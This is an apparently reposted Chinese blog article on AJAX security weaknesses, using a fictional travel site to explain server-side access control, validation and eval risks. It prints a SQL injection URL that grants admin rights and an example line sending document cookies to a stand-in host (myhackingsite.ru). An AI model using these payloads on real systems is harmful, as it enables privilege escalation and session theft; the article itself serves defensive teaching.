`
yangyou230
  • 浏览: 1650518 次
文章分类
社区版块
存档分类

AJAX的安全性

 
阅读更多

Web开发者不会注意到由 “AJAX(Asynchronous JavaScript And XML)”所带来的激情。不费力气就能创建像Google Suggest那样的智能网站或者像Gmail那样基于Web的应用程序,这在很大程度上要归功于这种技术。然而,伴随着AJAX应用程序的发展,我们发现了它的一些不足之处,我们发现它的安全漏洞也在逐渐变大,就像慢慢地把基于AJAX的站点放入了一颗定时中。

AJAX的好处

在当年“Web应用程序”的美好时代,事情非常简单。你填写了一个表单,点击“提交”按钮,然后当前屏幕就消失了,等待一小会儿后你就转入到了下一个页面。今天的状况已经不是这样的了,用户需要的是一种就像任何桌面应用程序那样流畅、快捷和人性化的Web体验。

AJAX经常是和DHTML(Dynamic HTML)一起协作的,它的顺利执行需要允许网页中的JavaScript代码和web服务器在后台无缝通讯。比方说,当你开始在Google Suggest的搜索框中输入东西时,web页面就和服务器在后台开始交换数据,然后会给出一些你可能需要的词条等。所有的这一切都不需要页面刷新或者按下任何按钮。同样这也就是像Gmail那样的应用程序怎么能对实时拼写检查做的那么好的原因。

AJAX怎样工作

AJAX复杂的原理已经超出了今天所要阐述的范围,这里只简单描述一下。你的页面上的JavaScript代码能够在不依赖于用户的情况下和你的Web服务器取得联系。这里面起核心作用的就是JavaScript的XMLHttpRequest对象,这个对象能够被就像用户敲击键盘或者时钟事件在后台或者异步触发(也就是术语异步JavaScript和XML)。

如果你在Google Suggest中输入“ajax”后,就会得到像我输入后得到的服务器请求一样:

1. www.google.com/complete/search?hl=en&js=true&qu=aj

2. www.google.com/complete/search?hl=en&js=true&qu=aja

3. www.google.com/complete/search?hl=en&js=true&qu=ajax

在这个术语中的XML部分有一点会引起人们的误解,其实这一部分是没有任何意义的。它是从JavaScript对象得来的名字,同时许多 AJAX风格的应用程序使用了XML,这个对象能够就任何事务向服务器发出一个请求。甚至JavaScript代码本身也能够被取回和评估。继续完成我的输入“ajax example”,将会从Google的服务器产生下面的回应:

sendRPCDone(frameElement, “ajax example”, new Array(”ajax example”, “ajax examples”), new Array(”153,000 results”, “177,000 results”), new Array(”"));

这将会给你一些关于强大的AJAX的暗示吧,它具有在运行中(on the fly)把新的JavaScript代码加入到浏览器中的能力。然而,最优化的方法看起来好像束缚了XML协定。举个例子说明一下,比如Google产生了下面的这个东西:

ajax example

153,000

ajax examples

177,000

显然,你可以在一个合适的表单中解释这些XML数据,但我们要感谢JavaScript,它确实能够在一些非常典型的限制条件下和大量讨厌的IE bug环境里非常好的处理XML对象。

为了帮助你理解一些Ajax的问题,我在这里给你介绍一个假想的旅行公司-“时代尖端旅行公司”。由于受到AJAX bug的推动,他们的主要web开发者Max Uptime为了创建一个这样的应用程序,他决定混合使用AJAX,这样,他走在时代尖端了。

AJAX的问题

半数以上的AJAX安全风险来自隐含在服务器中的漏洞。显然,使用安全编码技术的好的设计,对于更安全的AJAX大有帮助,我们需要感谢Max 熟悉开放万维网应用安全计划(the Open Web Application Security Project – OWASP)排名前十的最严重web应用程序安全漏洞列表(www.owasp.org)。不幸的是,当Max实现AJAX的时候,他仍然需要面对许多额外的因素:

1.新的技术:如果Max想把他的站点连接到一个SQL数据库,他在Google查到了数百万的例子。AJAX技术,不管这种技术有多年轻,它仍然是出现在采购循环中相对较早的,尽管它只有很少一部分好的例子出现在网络上。为了解决一些难处理的和不必要的复杂问题,这就要求像Max那样的开发者去自主开发。Max也就不得不编写服务器端和客户端的代码,创建他自己不太确定的协议(特别是对服务器响应来讲)。不管这些协议有多好,都将会及时表现在页面上。

2.非传统方式的设计:AJAX有一点点不同于传统设计方式,因为这样的应用程序是半客户端半服务端的。在Max的例子里,他是唯一的开发者,所以他为服务端和客户端都能够进行编码。在同一时间使用两种不同的语言(特别是在早期阶段)进行开发将会产生一些初级的编码错误,因为他要在两端来回跳跃,对一端来讲非常好,但可能在另一端不能够胜任。即使Max有一个大的开发团队,安全编码责任也可能在服务端和客户端开发小组之间代码移交的时候发生问题。

3.太多的脚本语言:Max凭借他自己的聪明才智决定建立世界上最优秀的旅行登记工具。你从输入你现在的位置(通过邮政编码、电话区号或者 GPS等等)开始登记,这时候一个AJAX请求就会被立即发送来确定你确切的位置。从那时候开始,屏幕上就会填入你所有可以利用的旅行方式,这一切甚至都是在你决定你想要去什么地方、你打算什么时候动身和你打算和谁一同去之前就完成的。

这个屏幕上的单元格和控件都充满了AJAX驱动,服务器端和客户端的脚本可能需要超过20个不同的服务器调用。你可以想像一个很小的个体服务器程序,比如findairportsbylocation.aspx 或者 determinemaxbaggageallowancebyairline.php.

显而易见,如果没有Max的仔细计划(比如创建多功能的“重载”JavaScript函数和服务器脚本),每一次设计他都需要创建超过40个独立的部分。更多的编程意味着会产生更多的错误和bug,意味着需要更多的时间去编写、管理、测试和更新代码。不仅如此,因为在客户端的 JavaScript代码中应用了大量的这种脚本,他们在正式的程序测试中也容易变得很健忘。

4.确定小部分的AJAX不会引起危害:这个站点是一个计划出行的站点,但是Max考虑的是它将立刻为你提供一个显示精确位置的卫星视图,并且把你所要到达目的地的天气情况也提供给你。AJAX最大的诱惑之一看起来好像是直到最后一刻它还在进行其它的操作,就像一个讲解员在那里解说一样,为了 AJAX使用了AJAX。当Max开始尝试他的新想法时,他会逐渐尝试增加更多新的功能,完全忽视测试的需要。

5.不安全的通讯:每一个AJAX调用可能只回传很少数量的数据给客户端,但那些数据是私有的、保密的。Max可以编写一个便利的工具来对你的信用卡号码进行数字校验,但是如果使用纯文本代替over SSL进行发送数据会怎样呢?这是一个显而易见的问题,但是当有许多例行程序需要考虑,特别是屏幕上其它99%的数据不是真正的机密数据时,很容易就会忽视掉SSL的。

6.服务器端访问控制:使用JavaScript程序来触发AJAX经常会掩饰一些显而易见的编码错误,服务器端访问控制就是一个例子。假设Max想参考你上次游览的一个详细目的地来为你提供你中意的旅馆,他可能会是像下面这样:

showprevioushotels.aspx?userid=12345&destination=UK

这当然是非常好的,但是如果一个恶意用户把URL改成了如下所示该怎么办呢:

showprevioushotels.aspx?userid=12346&destination=%

他们会得到其他人最喜爱的旅馆吗?(注意:%在SQL语句中是通配符)。无疑,这是一个没有什么危害的例子,但是Max应该使用 session、cookie或者其它符号形式来确保数据能并且只能发送到正确的用户那里。它们可能仅仅是数据的一小部分,但它们可能就是最重要的一小部分。

7.服务器端验证:实际上这里有两个问题。第一,AJAX控制经常被用来在用户最后提交到服务器之前的输入验证。这麻痹了Max,使Max有一种虚假的安全感,原因是他建立了称作alloweddestinations.php的函数,根据用户的ID来决定他们能够到达的正确目的地。

因为这是一个服务器端的检查,当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦恼,这里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的请求。

AJAX控制可以比用户自己更仔细验证用户的输入,但是他们还是经常在服务器上最后做一次验证。

AJAX验证的第二个问题就是控制本身会受到验证漏洞的影响。这里再次强调一下,URL通常是隐藏着的,所以也会经常忘掉它。举例说明一下,也许我可以使用SQL Injection来对刚才的脚本进行攻击,如下所示:

showprevioushostels.aspx?userid=’; update users set type=’admin’ where userid=12345;–

就会让我登录后具有系统管理员的权限。当然,如何取得那些表名(table)和字段名已经超出了本文讨论的范围,但是你已经了解这种情况了,不是吗?

8.客户端验证:我们已经知道在刚才的Google Suggest例子中,通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有任何形式的验证(如果这样的话在客户端很难保证可靠性和流畅性),客户端将仅仅简单执行服务器需要它完成的事情。

这样的话,由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的(也就是说你不能够“查看源文件”),于是潜在地为恶意的黑客们打开了一个完全的攻击导向。如果服务器的响应持续不断地被捣乱(这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中),这种攻击将很难被发现。

Max使用下面的响应在目的地网页上更新天气图标,他是用的函数是eval();函数:

updateWeatherIcon(’cloudy.gif’);

然而,恶意的cracker能够把这个函数变成下面的形式,这样要发现这种攻击就更加困难了:

updateWeatherIcon(’www.myhackingsite.ru/grab.aspx?c=’ + document.cookies); updateWeatherIcon(’cloudy.gif’);

我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。

小结

毫无疑问,AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”,使用AJAX必须小心谨慎,这样才能够保证web站点的安全。

然而,最大的威胁之一,来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外,使测试很不直观;同时,这种新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失,它们变得更多更复杂了。

分享到:
评论

相关推荐

    基于Ajax的Web应用安全性研究

    基于Ajax的Web应用安全性研究,欢迎下载

    Ajax安全技术讲解教材

    由于ajax的应用越来越广泛,所带来的优势相信大家都知道,但其存在的漏洞也让人头疼,在这里给大家推荐一本ajax安全方面的书籍,欢迎下载

    AJAX也有安全隐患.doc

    AJAX也有安全隐患_谈谈AJAX的安全性.doc

    分析Ajax技术的安全性

    介绍基于HTTP协议传输数据的Ajax技术基本原理和存在...在使用Ajax技术构建的不安全的程序示例基础上,讲解和分析程序实现的过程。例中的程序将捕获和收集在测试网页上所有的操作,并发送消息到服务器上,达到监视的效果

    通过生成Token解决Ajax请求安全问题AjaxTokenTest

    通过页头生成Token,进行请求验证,解决Ajax请求安全问题。目前为止我做的最多的防止ajax请求攻击的...此程序是在ajax请求的http头中添加一个随机Token来增加ajax请求的安全性。此程序由网友提供思路本人完成改进测试。

    ASP.NET AJAX深入浅出系列课程(32):构建高安全性ASP.NET AJAX应用程序

    ASP.NET AJAX深入浅出系列课程(32):构建高安全性ASP.NET AJAX应用程序

    Ajax实战中文版

     《Ajax实战》是目前Ajax领域最为全面深入的一本著作,其中不仅有对于基础知的的介绍,还有对于Ajax开发中重大架构问题的深入探讨,总结了大量Ajax开发中的设计模式,并讨论了框架、安全性与性能等。书中提供了几个...

    AJAX实战电子书下载

    本书是目前Ajax领域最为全面深入的一本著作,其中不仅有对于基础知识的介绍,还有对于Ajax开发中重大的体系架构问题的深入探讨,总结了大量Ajax开发中的设计模式,并讨论了框架、安全性与性能等等。书中提供了几个...

    论文研究-基于Ajax的Web应用安全性研究 .pdf

    基于Ajax的Web应用安全性研究,杨洁,王虹,Ajax是Web2.0时代新兴流行的网络技术。Ajax使得新一代互联网应用系统响应更敏捷、交互性更强、用户体验更丰富。但随着它的广泛应用,�

    《AJAX实战》AJAX In Action.

    本书是目前Ajax领域最为全面深入的一本著作,其中不仅有对于基础知识的介绍,还有对于Ajax开发中重大的体系架构问题的深入探讨,总结了大量Ajax开发中的设计模式,并讨论了框架、安全性与性能等等。书中提供了几个...

    asp .net 一款适合中小企业及个人使用的个性化网上商店。 采用ASP.NET+AJAX技术,数据库使用MSSQL 2005,在稳定性、安全性、易用性和实用性表现都不错,针对搜索引擎作了相应优化,会员卡功能和完善的促销手段等。

    asp .net 一款适合中小企业及个人使用的个性化网上商店。 采用ASP.NET+AJAX技术,数据库使用MSSQL 2005,在稳定性、安全性、易用性和实用性表现都不错,针对搜索引擎作了相应优化,会员卡功能和完善的促销手段等。

    基于总线模型和Json的Ajax安全开发模型

    Ajax是web2.0核心技术之一,基于Ajax的Web应用具有很强的动态性、交互性并能节约带宽。本文详细地介绍了基于Ajax和JavaWeb技术的高校成绩管理系统的设计思想与实现的关键技术。该系统具有高效性与易用性,已被应用...

    Ajax基础教程(扫描版)

    1.4 可用性问题 17 1.5 相关技术 18 1.6 使用场合 19 .1.7 设计考虑 20 1.8 小结 21 第2章 使用xmlhttprequest对象 23 2.1 xmlhttprequest对象概述 23 2.2 方法和属性 25 2.3 交互示例 26 2.4 get与post ...

    一种基于Ajax和SVG技术的煤矿安全监控系统

    传统的B/S模式在系统中的运用存在一些缺陷,如页面刷新速度较慢、占据空间较多、数据冗长繁多、反应时间长、浏览性低、交互效率低等,严重影响到客户端和服务器之间的信息交流,监测系统无法实时将矿井环境变化数据显示...

    Ajax小实例,JSP环境下使用Ajax技术.rar

    JSP是一比较高端的WEB前端技术,虽然入手不是太容易,不过代码规范度高,适用在一些安全性要求较高的场合,比如网银系统,在JSP下运用Ajax技术,已不是什么新鲜事了,期待通过这些小例子,让JSP初学者,先了解一些...

    ajax代码实现自动补全功能

    本案例实现如google效果可以自动补全,本案例适合初学ajax代码者,代码简单,安全性考虑稍欠,望下载的朋友,自行考虑实现

    【卷一/共两卷】AJAX实战pdf高清版90M

    第7章 安全性与AjaX 7.1 JavaScript与浏览器安全性 7.1.1 引入“来源服务器”策略 7.1.2 Ajax的相关考虑 7.1.3 子域问题 7.1.4 跨浏览器安全性 7.2 使用远程服务进行通信 7.2.1 代理远程服务 7.2.2 使用Web服务 7.3 ...

    《Ajax实战》高清PDF.part05(分九部分,全部下载才能解压)

    本书是目前Ajax领域最为全面深入的一本著作,其中不仅有对于基础知识的介绍,还有对于Ajax开发中重大的体系架构问题的深入探讨,总结了大量Ajax开发中的设计模式,并讨论了框架、安全性与性能等等。书中提供了几个...

    Ajax与PHP基础教程随书源码

    《Ajax与PHP基础教程》通过大量实例,充分展现了如何将二者结合起来创建下一代网络应用。《Ajax与PHP基础教程》内容完备,不仅讲述了...也涵盖了许多全局性的问题,如安全、测试和调试、Ajax应用场合以及跨浏览器等。

    Ajax实战.part2.rar

    本书是目前Ajax领域最为全面深入的一本著作,其中不仅有对于基础知识的介绍,还有对于Ajax开发中重大的体系架构问题的深入探讨,总结了大量Ajax开发中的设计模式,并讨论了框架、安全性与性能等等。书中提供了几个...

Global site tag (gtag.js) - Google Analytics